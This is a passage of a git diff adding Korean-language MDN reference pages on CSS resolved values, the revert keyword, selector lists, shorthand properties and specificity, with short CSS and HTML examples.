+ <li><a href="https://html.spec.whatwg.org/multipage/rendering.html#replaced-elements">HTML 명세</a></li>
+ <li>{{CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/ko/web/css/resolved_value/index.html b/files/ko/web/css/resolved_value/index.html
new file mode 100644
index 0000000000..56f04e6495
--- /dev/null
+++ b/files/ko/web/css/resolved_value/index.html
@@ -0,0 +1,39 @@
+---
+title: 결정값
+slug: Web/CSS/resolved_value
+tags:
+ - CSS
+ - Reference
+translation_of: Web/CSS/resolved_value
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>결정값</strong>은 {{domxref("Window.getComputedStyle", "getComputedStyle()")}}이 반환하는 값입니다.</p>
+
+<p>속성 대부분은 결정값이 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이지만, {{cssxref("width")}}와 {{cssxref("height")}}를 포함한 기존 속성은 <a href="/ko/docs/Web/CSS/used_value">사용값</a>입니다. 속성 별 자세한 사항은 아래의 명세를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSSOM", "#resolved-values", "resolved value")}}</td>
+ <td>{{Spec2("CSSOM")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/revert/index.html b/files/ko/web/css/revert/index.html
new file mode 100644
index 0000000000..9a9a1ce6f7
--- /dev/null
+++ b/files/ko/web/css/revert/index.html
@@ -0,0 +1,137 @@
+---
+title: revert
+slug: Web/CSS/revert
+tags:
+ - CSS
+ - CSS 속성
+ - Cascade
+ - Style
+ - 'all:revert'
+ - revert
+ - revert style 속성
+ - revert 속성
+ - 스타일
+translation_of: Web/CSS/revert
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>revert</code></strong> 는 현재 엘리먼트에 선언 된 캐스캐이딩된 속성으로부터  <strong>{{Glossary("style origin")}}</strong> 으로 되돌립니다.</span> 부모 속성 또는 user agent에 따라 default로 선언 된 속성으로 되돌리는 것입니다. 이 속성은 css 단축속성{{cssxref("all")}}을 포함한 어떤 프로퍼티에도 적용할 수 있습니다.</p>
+
+<ul>
+ <li>만약 그 사이트만의 css 속성이 지정되어있다면 <code>revert</code> 속성은 유저가 지정한 커스텀 스타일로 롤백합니다.  만약 하나만 존재한다면 user agent의 default 스타일로 돌아가는 것입니다.</li>
+ <li>만약 사용자의 커스텀 스타일을 사용하거나 사용자에 의해서 스타일이 적용되어 있다면, <code>revert</code> 는 user agent의 default 스타일로 되돌립니다.</li>
+ <li>만약 user agent default 스타일만 지정되어있다면, {{cssxref("unset")}}과 마찬가지의 의미입니다.</li>
+</ul>
+
+<p><code>revert</code> 키워드는 많은 경우에서 <code><a href="/en-US/docs/Web/CSS/unset">unset</a></code> 과 같은 성질을 가집니다. 한가지 차이점은 user agent에 의한 스타일이냐 유저가 지정한 스타일이냐의 차이입니다.</p>
+
+<p>Revert 는 자식 요소까지 변경하지는 않습니다. (하지만 자식 요소에 특별히 rule이 지정되어 있지 않다면 적용됩니다.). 그래서 만약에 모든 섹션에  <code>color: green</code> 속성을 지정하고  <code>all: revert</code> 를 사용하면 모든 섹션의 컬러값은 black으로 돌아갈 것입니다. 하지만 만약, 당신이 section 내의 모든 p에 red를 지정했다면 그것들은 red로 유지될 것입니다.</p>
+
+<div class="blockIndicator note">
+<p>Revert는 단순히 값입니다. 그러므로 <code>revert</code>  또한 다른 <a href="/en-US/docs/Web/CSS/Specificity">specificity</a>값으로 덮어 쓸 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><code>revert</code> 는 {{cssxref("initial")}} 키워드와는 다른데,  <a href="/en-US/docs/Web/CSS/initial_value">initial value</a> 는 프로퍼티 단위의 css 특성화입니다. user-agent의 스타일 시트도 default value로 되돌립니다..</p>
+
+<p>예를 들어, {{cssxref("display")}} 속성에 대한 <a href="/en-US/docs/Web/CSS/initial_value">initial value</a> 는 <code>inline</code> 입니다. 반면에  {{HTMLElement("div")}} 에 대한 {{cssxref("display")}}  user agent 속성은 <code>block</code> 이고,  {{HTMLElement("table")}} 에 대한 속성은  <code>table</code> 입니다.</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="Revert_vs_unset">Revert vs unset</h3>
+
+<p>비록 <code>revert</code> 와 <code>unset</code> 은 비슷하지만 몇몇 엘리먼트와 몇몇 속성에서는 다릅니다.</p>
+
+<p>그래서 아래 예시를 보면, 우리는 <code>font-weight</code> 를 커스텀으로 글로벌 스타일로 지정하였습니다. 그러나 revert와 unset을 시도해보면 다른 결과를 볼 수 있습니다. Unset text를 default로 설정된 normal로 유지합니다. Revert는 user-agent 상에 font-weight인 bold로 돌아갈 것입니다.</p>
+
+<pre class="brush: css notranslate">h3 {
+ font-weight: normal;
+ color: blue;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;h3 style="font-weight: unset; color: unset;"&gt;This will still have font-weight: normal, but color: black&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;
+&lt;h3 style="font-weight: revert; color: revert;"&gt;This should have its original font-weight (bold) and color: black&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Revert_vs_unset')}}</p>
+
+<h3 id="Revert_all">Revert all</h3>
+
+<p>모든 요소를 revert 하는 것은 당신이 많은 캐스캐이딩에 따른 수정이 있었을 때 default로 돌아가기에 매우 유용합니다. 그래서 font-weight를 리버트 하고 color를 리버트하는 것을 각각 하기보다는 한꺼번에 돌릴 수 있습니다.</p>
+
+<pre class="brush: css notranslate">h3 {
+ font-weight: normal;
+ color: blue;
+ border-bottom: 1px solid grey;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;h3&gt;This will have custom styles&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;
+&lt;h3 style="all: revert"&gt;This should be reverted to browser/user defaults&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Revert_all')}}</p>
+
+<h3 id="부모요소에서의_Revert">부모요소에서의 Revert </h3>
+
+<p>효율적으로 revert 하는 것은 당신이 선택한 속성에 대해서만 해당 속성을 제거하는 것입니다. 우리는 paragraph에 한해서는 red 속성을 지정하고 section에는 darkgreen 을 따로 각각 지정할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">section { color: darkgreen }
+p { color: red }
+section.with-revert { color: revert }
+</pre>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+ &lt;h3&gt;따로 지정되지 않은 h3는 다크 그린&lt;/h3&gt;
+ &lt;p&gt;paragraph의 텍스트는 빨강&lt;/p&gt;
+ 섹션 안의 요소니까 다크 그린.
+&lt;/section&gt;
+&lt;section class="with-revert"&gt;
+ &lt;h3&gt;revert로 따로 지정되어있지 않았던 h3는 검정&lt;/h3&gt;
+ &lt;p&gt;특성화되어있는 paragraph는 그대로 빨강&lt;/p&gt;
+ 섹션 안의 요소가 revert 되면서 검정
+&lt;/section&gt;</pre>
+
+<p>section 요소가 돌아갔음에도 paragraph는 여전히 빨강인 것에 주목하세요. </p>
+
+<p>{{EmbedLiveSample('Revert_on_a_parent')}}</p>
+
+<h2 id="특성">특성</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">특성</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Cascade', '#default', 'revert')}}</td>
+ <td>{{Spec2('CSS4 Cascade')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+<div class="hidden"><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 참조하시고 pull request를 해보세요.</div>
+
+<p>{{Compat("css.types.global_keywords.revert")}}</p>
+</div>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<ul>
+ <li>initial value를 지정할 때는 {{cssxref("initial")}} 를 사용하세요 .</li>
+ <li>초기 속성을 없애거나, 부모 요소에 대한 상속 된 속성을 지정할 때는  {{cssxref("unset")}} 를 사용하세요.</li>
+ <li>부모 속성을 지정할 때는 {{cssxref("inherit")}} 를 사용하세요.</li>
+ <li>{{cssxref("all")}} 속성은 unset, initial, revert, inherit 속성을 한꺼번에 지정할 것입니다.</li>
+</ul>
diff --git a/files/ko/web/css/selector_list/index.html b/files/ko/web/css/selector_list/index.html
new file mode 100644
index 0000000000..6d45de9430
--- /dev/null
+++ b/files/ko/web/css/selector_list/index.html
@@ -0,0 +1,101 @@
+---
+title: 선택자 목록
+slug: Web/CSS/Selector_list
+tags:
+ - CSS
+ - Reference
+ - Selectors
+ - 선택자
+translation_of: Web/CSS/Selector_list
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>선택자 목록</strong>(<code>,</code>)은 일치하는 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 모든 span과 div 요소 선택 */
+span,
+div {
+ border: red 2px solid;
+}</pre>
+
+<p>다수의 선택자를 쉼표 구분 목록에 넣어 스타일 시트 크기를 줄일 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">element, element, element { <em>style properties</em> }</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="한_줄_묶기">한 줄 묶기</h3>
+
+<p>쉼표로 구분한 목록을 한 줄에 배치할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
+</pre>
+
+<h3 id="여러_줄_묶기">여러 줄 묶기</h3>
+
+<p>쉼표로 구분한 목록을 여러 줄에 배치할 수도 있습니다.</p>
+
+<pre class="brush: css notranslate">#main,
+.content,
+article {
+ font-size: 1.1em;
+}
+</pre>
+
+<h3 id="선택자_목록_무효화">선택자 목록 무효화</h3>
+
+<p>선택자 목록의 단점은, 다음의 두 경우가 서로 같지 않다는 점입니다.</p>
+
+<pre class="brush: css notranslate">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css notranslate">h1, h2:maybe-unsupported, h3 { font-family: sans-serif }</pre>
+
+<p>왜냐하면 목록 내의 하나의 선택자라도 브라우저가 지원하지 않으면 전체 목록을 무효화하기 때문입니다.</p>
+
+<p>대응 방법은 {{CSSxRef(":is", ":is()")}} 선택자를 사용하는 것을 통해, 유효하지 않은 선택자를 무시하는 것입니다. 그러나 <code>:is()</code>가 명시도를 계산하는 방법으로 인해, 모든 선택자가 동일한 명시도를 갖게 되는 부작용이 있습니다.</p>
+
+<pre class="brush: css notranslate">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css notranslate">:is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif }</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#grouping", "Selector Lists")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>Renamed to "selector list"</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#grouping', 'grouping')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.list")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>선택자 목록 무효화라는 과거의 실수를 가지지 않는 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}, {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} 의사 클래스.</li>
+</ul>
diff --git a/files/ko/web/css/shorthand_properties/index.html b/files/ko/web/css/shorthand_properties/index.html
new file mode 100644
index 0000000000..26075c0be4
--- /dev/null
+++ b/files/ko/web/css/shorthand_properties/index.html
@@ -0,0 +1,156 @@
+---
+title: 단축 속성
+slug: Web/CSS/Shorthand_properties
+tags:
+ - CSS
+ - Guide
+ - Layout
+ - Reference
+ - Web
+ - 단축 속성
+translation_of: Web/CSS/Shorthand_properties
+---
+<div>{{cssref}}</div>
+
+<p><strong>단축 속성</strong>은 서로 다른 여러 가지 CSS 속성의 값을 지정할 수 있는 CSS 속성입니다. 단축 속성을 사용하면 간결한 (그리고 읽기도 좋은) 스타일 시트를 작성해 시간과 체력을 아낄 수 있습니다.</p>
+
+<p>CSS 명세는 같은 주제를 가진 여러 공통 속성을 묶기 위해 단축 속성을 정의합니다. 가령 CSS {{cssxref("background")}} 속성은 {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, {{cssxref("background-position")}} 값을 정의할 수 있는 단축 속성입니다. 마찬가지로, 가장 흔히 쓰이는 글꼴 관련 속성은 {{cssxref("font")}} 단축 속성으로, 박스 주위의 바깥 여백은 {{cssxref("margin")}} 단축 속성으로 지정할 수 있습니다.</p>
+
+<h2 id="Tricky_edge_cases" name="Tricky_edge_cases">까다로운 예외상황</h2>
+
+<p>단축 속성은 사용하기 매우 편리하지만, 염두해야 할 예외상황이 몇 가지 있습니다.</p>
+
+<ol>
+ <li>단축 속성에 지정하지 않은 값은 초깃값이 됩니다. 별거 아닌 듯 보일 수 있지만, 사실 이전에 정의한 값도 초깃값으로 <strong>재정의</strong>합니다. 따라서,
+
+ <pre class="brush:css notranslate">background-color: red;
+background: url(images/bg.gif) no-repeat top right;
+</pre>
+ 을 적한 요소의 배경 색은 <code>red</code>가 아니라, {{cssxref("background-color")}}의 기본값인 <code>transparent</code>가 됩니다. 두 번째 규칙이 우선하기 때문입니다.</li>
+ <li>개별 속성값만 상속할 수 있습니다. 빠진 값에는 초깃값을 대입하므로, 어떤 속성의 값을 상속받고자 단축 속성의 해당 부분을 비우는 것은 불가능합니다. <code>inherit</code> 키워드 역시 속성 값으로 온전히 사용해야 하며 값의 일부(<code>red <em>inherit</em> top right</code>처럼)로는 사용할 수 없습니다. 따라서 어떤 속성을 상속하고 싶다면 <code>inherit</code>을 지정한 본디 속성(longhand property)을 추가할 수밖에 없습니다.</li>
+ <li>단축 속성은 값의 순서를 되도록 제한하지 않습니다. 특히 각 값의 자료형이 서로 다르면 순서가 중요하지 않습니다. 하지만 일부 속성이 동일한 자료형의 값을 가질 수 있을 때는 잘 동작하지 않습니다. 이런 경우의 처리는 여러 범주로 나뉩니다:
+ <ol>
+ <li>{{cssxref("border-style")}}, {{cssxref("margin")}}, {{cssxref("padding")}}처럼 박스의 모서리와 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 모서리를 가리키는 1~4 값 구문을 사용합니다:
+ <table>
+ <tbody>
+ <tr>
+ <td style="width: 79px;"><img alt="border1.png" src="/files/3646/border1.png"></td>
+ <td>1개 값 구문: <code>border-width: 1em</code> — 유일한 값이 모든 변을 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><img alt="border2.png" src="/files/3647/border2.png"></td>
+ <td>2개 값 구문: <code>border-width: 1em 2em</code> — 첫 번째 값은 세로(상하)변을, 두 번째는 가로(좌우)변을 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><img alt="border3.png" src="/files/3648/border3.png"></td>
+ <td>3개 값 구문: <code>border-width: 1em 2em 3em</code> — 첫 번째 값은 상변을, 두 번째는 가로변, 세 번째는 하변을 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><img alt="border4.png" src="/files/3649/border4.png"></td>
+ <td>
+ <p>4개 값 구문: <code>border-width: 1em 2em 3em 4em</code> — 네 값이 각각 상, 우, 하, 좌변을 나타냅니다. 상변에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.</p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+ <li>비슷하게, {{cssxref("border-radius")}} 같은 박스의 꼭짓점과 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 꼭짓점을 가리키는 1-4-값 구문을 사용합니다:
+ <table>
+ <tbody>
+ <tr>
+ <td style="width: 69px;"><img alt="corner1.png" src="/files/3650/corner1.png"></td>
+ <td>1개 값 구문: <code>border-radius: 1em</code> — 유일한 값이 모든 귀를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><img alt="corner2.png" src="/files/3651/corner2.png"></td>
+ <td>2개 값 구문: <code>border-radius: 1em 2em</code> — 첫 번째 값은 좌상 및 우하귀, 두 번째는 우상 및 좌하귀를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><img alt="corner3.png" src="/files/3652/corner3.png"></td>
+ <td>3개 값 구문: <code>border-radius: 1em 2em 3em</code> — 첫 번째 값은 좌상귀, 두 번째는 우상 및 좌하귀, 세 번째 값은 우하귀를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><img alt="corner4.png" src="/files/3653/corner4.png"></td>
+ <td>
+ <p>4개 값 구문: <code>border-radius: 1em 2em 3em 4em</code> — 네 값은 각각 좌상, 우상, 우하 및 좌하귀를 나타냅니다. 좌상귀에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.</p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+ </ol>
+ </li>
+</ol>
+
+<h2 id="Background_Properties" name="Background_Properties">배경 속성</h2>
+
+<p>아래와 같은 속성을 가지는 배경은...</p>
+
+<pre class="brush:css notranslate">background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;</pre>
+
+<p>다음과 같이 선언 단 하나를 사용해서 단축할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">background: #000 url(images/bg.gif) no-repeat top right;</pre>
+
+<p>(단축 형은 실제로 <code>background-attachment: scroll</code> 및 CSS3의 일부 부가 속성이 더해진 위 본디 속성과 같습니다.)</p>
+
+<p>{{cssxref("background")}}에서 CSS3 속성을 포함한 더 자세한 정보를 확인할 수 있습니다.</p>
+
+<h2 id="Font_Properties" name="Font_Properties">글꼴 속성</h2>
+
+<p>아래와 같은 속성을 가지는 글꼴은...</p>
+
+<pre class="brush:css notranslate">font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;</pre>
+
+<p>다음처럼 단축할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">font: italic bold .8em/1.2 Arial, sans-serif;</pre>
+
+<p>이 단축 선언은 실제로 <code>font-variant: normal</code> 및 <code>font-size-adjust: none</code> (CSS2.0 / CSS3), <code>font-stretch: normal</code> (CSS3)이 더해진 위 본디 속성과 같습니다.</p>
+
+<h2 id="Border_Properties" name="Border_Properties">테두리 속성</h2>
+
+<p>테두리의 너비, 색상, 스타일을 하나의 선언으로 단축할 수 있습니다. 즉 아래와 같은 CSS를...</p>
+
+<pre class="brush:css notranslate">border-width: 1px;
+border-style: solid;
+border-color: #000;</pre>
+
+<p>다음처럼 단축할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">border: 1px solid #000;</pre>
+
+<h2 id="Margin_and_Padding_Properties" name="Margin_and_Padding_Properties">여백 속성</h2>
+
+<p>바깥과 안쪽 여백의 단축 속성도 똑같이 동작합니다. 바깥 여백, <code>margin</code> 속성은 한 개, 두 개, 세 개, 네 개의 값을 사용해 지정합니다. 아래 CSS 선언은...</p>
+
+<pre class="brush:css notranslate">margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;</pre>
+
+<p>다음의 네 값 구문 단축 속성을 사용한 선언과 같습니다. 방향이 시계 방향임을 기억하세요. 각 값은 위, 오른쪽, 아래, 왼쪽을 나타냅니다.</p>
+
+<pre class="brush:css notranslate">margin: 10px 5px 10px 5px;</pre>
+
+<p>바깥 여백의 한 개, 두 개, 세 개, 네 개 값 선언 규칙은 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 여백을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 여백을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 여백을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 여백을 지정합니다. (시계방향)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>단축 속성: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}</li>
+</ul>
diff --git a/files/ko/web/css/specificity/index.html b/files/ko/web/css/specificity/index.html
new file mode 100644
index 0000000000..609f319daa
--- /dev/null
+++ b/files/ko/web/css/specificity/index.html
@@ -0,0 +1,331 @@
+---
+title: 명시도
+slug: Web/CSS/Specificity
+tags:
+ - CSS
+ - Example
+ - Guide
+ - Reference
+ - Web
+translation_of: Web/CSS/Specificity
+---
+<div>{{cssref}}</div>
+
+<p><strong>명시도</strong>란 브라우저가 어느 요소와 가장 연관된 속성을 찾는 수단으로, 이렇게 찾은 속성이 해당 요소에 적용됩니다. 명시도는 여러 종류의 <a href="/ko/docs/Web/CSS/CSS_Reference#Selectors" title="CSS selectors">CSS 선택자</a>로 구성된 일치 규칙에 기반합니다.</p>
+
+<h2 id="어떻게_계산되는가">어떻게 계산되는가?</h2>
+
+<p>명시도는 주어진 CSS 선언에 적용되는 가중치(weight)로, 일치하는 선택자 내 각 <a href="#selector-type">선택자 유형</a>의 수에 의해 결정됩니다. 여러 선언이 명시도가 같은 경우, CSS에서 맨 끝에 오는 선언이 요소에 적용됩니다. 명시도는 같은 요소가 여러 선언의 대상이 되는 경우에만 적용합니다. CSS 규칙에 따라 <a href="#directly-targeted-elements" title="directly targeted element">직접 대상 요소</a>는 요소가 부모로부터 상속받는 규칙보다 항상 우선합니다.</p>
+
+<div class="note"><strong>주의:</strong> 문서 트리 내 <a href="#tree-proximity-ignorance">요소의 근접도(proximity, 가까움)</a>는 명시도에 영향이 없습니다.</div>
+
+<h3 id="선택자_유형">선택자 유형</h3>
+
+<p>아래 선택자는 유형별로 명시도를 증가시킵니다.</p>
+
+<ol>
+ <li><a href="/ko/docs/Web/CSS/Type_selectors">유형 선택자</a>(<code>h1</code> 등) 및 의사 요소(<code>:before</code> 등).</li>
+ <li><a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a>(<code>.example</code> 등), 속성 선택자(<code>[type="radio"]</code> 등), 의사 클래스(<code>:hover</code> 등).</li>
+ <li><a href="/ko/docs/Web/CSS/ID_selectors">ID 선택자</a>(<code>#example</code> 등).</li>
+</ol>
+
+<p>전역 선택자({{cssxref("Universal_selectors", "*")}}), 조합자({{CSSxRef("Adjacent_sibling_combinator", "+")}}, {{CSSxRef("Child_combinator", "&gt;")}}, {{CSSxRef("General_sibling_combinator", "~")}}, <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator">'<code> </code>'</a>, {{CSSxRef("Column_combinator", "||")}}) 및 부정 의사 클래스(<code>:not()</code>)는 명시도에 영향을 주지 않습니다. (<code>:not()</code> <em>내부에</em> 선언한 선택자는 영향을 끼칩니다)</p>
+
+<p><a href="https://specifishity.com">https://specifishity.com</a>에서 자세한 정보를 확인할 수 있습니다.</p>
+
+<p>요소에 추가한 인라인 스타일(<code>style="font-weight: bold"</code>처럼)은 항상 외부 스타일시트의 모든 스타일을 덮어쓰므로 가장 높은 명시도를 갖는 것으로 생각할 수 있습니다.</p>
+
+<h3 id="!important_예외"><code>!important</code> 예외</h3>
+
+<p><code>!important</code> 규칙이 스타일 선언에 사용된 경우, 이 선언은 다른 선언보다 우선합니다. 엄밀히 말해 <code>!important</code> 자체는 명시도와 아무 관련이 없지만, 명시도에 직접 영향을 미칩니다. 그러나 <code>!important</code> 사용은 <strong>나쁜 습관</strong>이고 스타일시트 내 자연스러운 <a href="/ko/docs/Web/CSS/Cascade" title="cascading">종속</a>을 깨뜨려 디버깅을 더 어렵게 만들기에 피해야 합니다. <code>!important</code> 규칙으로 충돌하는 두 선언이 같은 요소에 적용된 경우, 더 큰 명시도를 갖는 선언이 적용됩니다.</p>
+
+<p><strong>몇몇 경험 법칙들:</strong></p>
+
+<ul>
+ <li><strong>항상</strong> !important를 고려하기도 전에 명시도를 활용할 방법을 찾아보세요.</li>
+ <li>외부 CSS(Bootstrap 또는 Normalize.css 같은 외부 라이브러리에서)를 재정의하는 페이지 전용 CSS에<strong>만</strong> <code>!important</code>를 쓰세요.</li>
+ <li>플러그인/매시업을 작성할 때 <code>!important</code>는 <strong>절대</strong> 쓰지 마세요.</li>
+ <li>사이트 전반 CSS에는 <code>!important</code>를 <strong>절대</strong> 쓰지 마세요.</li>
+</ul>
+
+<p><strong><code>!important</code>를 사용하는 대신에, 다음을 고려하세요:</strong></p>
+
+<ol>
+ <li>CSS 종속<sup>cascading</sup>을 더 잘 활용하세요.</li>
+ <li>
+ <p>더 명시된(명확한) 규칙을 쓰세요. 선택 중인 요소 앞에 하나 이상의 요소를 나타냄으로써 규칙은 더 명확해지고 더 높은 우선 순위를 얻습니다:</p>
+
+ <pre class="brush: html">&lt;div id="test"&gt;
+ &lt;span&gt;Text&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+ <pre class="brush: css">div#test span { color: green; }
+div span { color: blue; }
+span { color: red; }</pre>
+
+ <p>순서와 무관하게 첫 번째 규칙이 가장 명확하므로 텍스트는 녹색이 됩니다. (또한, 역시 순서와 무관하게 파란색 규칙이 빨간색 규칙보다 우선합니다.)</p>
+ </li>
+ <li>(2)의 말도 안 되는 특별한 경우로, 더 이상 명시할 요소가 없는 경우 간단한 선택자를 여러 번 써서 명시도를 높일 수 있습니다.
+ <pre class="brush: css">#myId#myId span { color: yellow; }
+.myClass.myClass span { color: orange; }</pre>
+ </li>
+</ol>
+
+<h4 id="!important를_사용하는_때"><code>!important</code>를 사용하는 때</h4>
+
+<h5 id="A_인라인_스타일을_재정의할_때">A) 인라인 스타일을 재정의할 때</h5>
+
+<p>사이트 전체의 시각적 요소를 설정하는 전역 CSS 파일은 각 요소에 직접 정의된 인라인 스타일에 덮어쓰일 수 있습니다. 인라인 스타일과 <code>!important</code> 모두 매우 나쁜 습관으로 취급되지만, 가끔씩은 <code>!important</code>로 인라인 스타일을 덮어써야 할 때가 있습니다.</p>
+
+<p>이때는 전역 CSS 파일의 몇몇 스타일을 <code>!important</code>로 설정해서 요소에 직접 작성한 인라인 스타일을 덮어쓸 수 있습니다.</p>
+
+<pre class="brush: html">&lt;div class="foo" style="color: red;"&gt;나는 무슨 색일까?&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.foo[style*="color: red"] {
+ color: firebrick !important;
+}
+</pre>
+
+<p>여러 자바스크립트 프레임워크와 라이브러리에서 인라인 스타일을 추가합니다. 이런 인라인 스타일을 덮어쓸 때 매우 구체적인 선택자와 함께 <code>!important</code>를 사용할 수 있습니다.</p>
+
+<h5 id="B_명시도가_높은_규칙을_재정의할_때">B) 명시도가 높은 규칙을 재정의할 때</h5>
+
+<pre class="brush: css">#someElement p {
+ color: blue;
+}
+
+p.awesome {
+ color: red;
+}</pre>
+
+<p>어떻게 하면 <code>awesome</code> 문단이 <code>#someElement</code> 안에 있더라도 항상 빨갛게 만들 수 있을까요? <code>!important</code>를 사용하지 않으면 위쪽 규칙의 명시도가 높으므로 아래쪽 규칙보다 우선합니다.</p>
+
+<h4 id="!important를_덮어쓰는_방법"><code>!important</code>를 덮어쓰는 방법</h4>
+
+<p>A) 태그, ID나 클래스를 추가함으로써 명시도가 더 높은 !important한 CSS 규칙을 만듭니다.</p>
+
+<pre class="brush: css">table td { height: 50px !important; }
+.myTable td { height: 50px !important; }
+#myTable td { height: 50px !important; }
+</pre>
+
+<p>B) 혹은 기존의 선택자 아래에 똑같은 선택자를 하나 더 만듭니다(명시도가 같으면 나중에 정의된 규칙이 우선하므로).</p>
+
+<pre class="brush: css">td { height: 50px !important; }</pre>
+
+<p>C) 아니면 기존 규칙을 수정해서 아예 <code>!important</code>를 사용하지 않게 만드는 것이 더 좋은 방법입니다.</p>
+
+<pre class="brush: css">[id="someElement"] p {
